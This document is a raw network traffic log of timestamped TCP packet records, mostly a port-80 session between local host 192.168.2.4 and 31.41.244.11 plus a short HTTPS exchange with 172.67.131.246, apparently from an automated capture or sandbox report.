Dec 20, 2024 09:12:29.484941006 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.485058069 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.485107899 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.487389088 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.487441063 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.487492085 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.489742041 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.489794970 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.489860058 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.492125034 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.492177010 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.492233038 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.492830038 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.494551897 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.494626999 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.494678974 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.496984005 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.497036934 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.497091055 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.499351025 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.499495029 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.499546051 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.501760006 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.501806021 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.501869917 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.504151106 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.504204988 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.504270077 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.504834890 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.506535053 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.506647110 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.506697893 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.508948088 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.509046078 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.509099007 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.511358023 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.511518002 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.511569977 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.513770103 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.513818979 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.513887882 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.516133070 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.516186953 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.516261101 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.516807079 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.518501043 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.518629074 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.518682003 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.520931005 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.521024942 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.521078110 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.523336887 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.523469925 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.523519993 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.525707006 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.525823116 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.525851965 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.528122902 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.528175116 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.528239965 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.528943062 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.530538082 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.530663967 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.530720949 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.532939911 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.533070087 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.533122063 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.535384893 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.535814047 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.600362062 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.600447893 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.600547075 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.600547075 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.601234913 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.601351976 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.601412058 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.603120089 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.603172064 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.603228092 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.603275061 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.605031967 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.605081081 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.605108023 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.605150938 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.606844902 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.606870890 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.606890917 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.606908083 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.608686924 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.608733892 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.608781099 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.608828068 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.610476017 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.610522985 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.610570908 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.610615015 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.612253904 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.612301111 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.612328053 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.612373114 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.614018917 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.614065886 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.614084959 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.614129066 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.615849972 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.615917921 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.615957022 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.617446899 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.617517948 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.617568970 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.617621899 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.617666960 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.619261980 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.619322062 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.619345903 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.619759083 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.620958090 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.621051073 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.621107101 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.622586966 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.622700930 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.622756004 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.624313116 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.624361038 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.624458075 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.624504089 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.626106024 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.626123905 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.626154900 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.626171112 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.627616882 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.627669096 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.627706051 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.627749920 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.629189968 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.629235029 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.629272938 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.629317999 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.630871058 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.630919933 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.630935907 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.630981922 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.632394075 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.632493973 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.632544041 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.633951902 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.634130001 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.634179115 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.635675907 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.635693073 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.635737896 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.635766029 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.637063026 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.637136936 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.637212038 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.638600111 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.638660908 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.638705015 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.638811111 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.640168905 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.640269995 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.640330076 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.641673088 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.641751051 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.641808987 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.643182993 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.643244028 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.643287897 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.644686937 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.644747019 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.644922972 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.646234989 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.646286964 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.646306992 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.646347046 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.647712946 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.647757053 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.647811890 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.647891998 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.649143934 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.649184942 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.649229050 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.650002956 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.650608063 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.650667906 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.650712013 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.650805950 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.652111053 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.652204037 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.652257919 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.653570890 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.653644085 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.653697014 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.655065060 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.655117035 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.655165911 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.656491041 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.656549931 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.656616926 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.656660080 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.657448053 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.657493114 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.657509089 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.657552004 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.658435106 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.658482075 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.658567905 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.658615112 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.659320116 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.659364939 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.659399033 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.659442902 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.659990072 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.660034895 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.660073042 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.660118103 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.660676956 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.660743952 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.660788059 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.660834074 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.661535025 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.661578894 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.661786079 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.661834002 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.662359953 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.662405014 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.662497997 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.662542105 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.663222075 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.663330078 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.663381100 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.664076090 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.664194107 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.664242983 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.664906979 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.664952993 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.664999008 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.665816069 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.665819883 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.665857077 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.665931940 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.665975094 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.666629076 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.666681051 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.666724920 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.666769028 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.667500973 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.667546034 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.667593956 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.667639971 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.668406010 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.668428898 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.668450117 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.668462992 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.669220924 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.669265985 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.669318914 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.669590950 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.670041084 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.670136929 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.670187950 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.670941114 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.670986891 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.671045065 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.671103954 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.671684980 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.674833059 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.689529896 CET	443	49815	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:29.689630032 CET	49815	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:29.690757990 CET	49815	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:29.690763950 CET	443	49815	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:29.691695929 CET	443	49815	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:29.693039894 CET	49815	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:29.693135977 CET	49815	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:29.693141937 CET	443	49815	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:29.792587996 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.792695999 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.792809963 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.793028116 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.793085098 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.793220043 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.793268919 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.793863058 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.793908119 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.793987989 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.794032097 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.794758081 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.794806957 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.794827938 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.794872999 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.795569897 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.795614958 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.795717955 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.795762062 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.796446085 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.796489954 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.796514988 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.796557903 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.797276974 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.797322989 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.797409058 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.797451973 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.798109055 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.798154116 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.798192024 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.798237085 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.798937082 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.798981905 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.799058914 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.799098015 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.799818039 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.799861908 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.799917936 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.799962044 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.800710917 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.800767899 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.800798893 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.800846100 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.801525116 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.801568031 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.801604033 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.801646948 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.802347898 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.802392006 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.802442074 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.802485943 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.803189993 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.803270102 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.803308010 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.803354025 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.804054976 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.804104090 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.804147959 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.804622889 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.804941893 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.804987907 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.805032015 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.805075884 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.805740118 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.805788994 CET	49808	80	192.168.2.4	31.41.244.11
